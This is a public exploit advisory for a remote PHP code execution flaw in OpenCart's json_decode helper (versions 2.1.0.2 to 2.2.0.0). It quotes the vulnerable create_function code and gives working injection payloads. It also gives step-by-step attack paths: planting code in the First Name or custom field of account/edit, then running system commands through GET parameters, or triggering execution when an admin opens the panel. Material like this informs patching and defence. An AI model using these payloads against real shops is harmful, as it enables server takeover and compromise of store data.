OpenCart json_decode function Remote PHP Code Execution

[r3s34rch3r () yahoo com]

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# OpenCart json_decode function Remote PHP Code Execution
#
# Author: Naser Farhadi
# Twitter: @naserfarhadi
#
# Date: 9 April 2016 # Version: 2.1.0.2 to 2.2.0.0 (Latest version)
# Vendor Homepage: http://www.opencart.com/
#
# Vulnerability:
# ------------
# /upload/system/helper/json.php
# $match = '/".*?(?<!\\\\)"/';
# $string = preg_replace($match, '', $json);
# $string = preg_replace('/[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/', '', $string);
# ...
# $function = @create_function('', "return {$json};"); /**** The Root of All Evil ****/
# $return = ($function) ? $function() : null;
# ...
# return $return;
#
# Exploit(json_decode):
# ------------
# var_dump(json_decode('{"ok":"{$_GET[b]($_GET[c])}"}'));
# var_dump(json_decode('{"ok":"$_SERVER[HTTP_USER_AGENT]"}'));
# var_dump(json_decode('{"ok":"1"."2"."3"}'));
#
# Real World Exploit(OpenCart /index.php?route=account/edit)
# ------------
# go to http://host/shop_directory/index.php?route=account/edit
# fill $_SERVER[HTTP_USER_AGENT] as First Name
# /** save it two times **/
# Code execution happens when an admin user visits the administration panel, in this example 
# admin user sees his user agent as your First Name in Recent Activity :D
#
# Another example(OpenCart account/edit or account/register custom_field): /** Best Case **/
# ------------
# if admin adds a Custom Field from /admin/index.php?route=customer/custom_field for custom
# user information like extra phone number,... you can directly execute your injected code.
# go to http://host/shop_directory/index.php?route=account/edit
# fill {$_GET[b]($_GET[c])} as Custom Field value
# save it
# go to http://host/shop_directory/index.php?route=account/edit&b=system&c=ls /** Mission Accomplished **/
#
# Note:
# ------------
# Exploit only works if PHP JSON extension is not installed.
#
# Video: https://youtu.be/1Ai09IQK4C0
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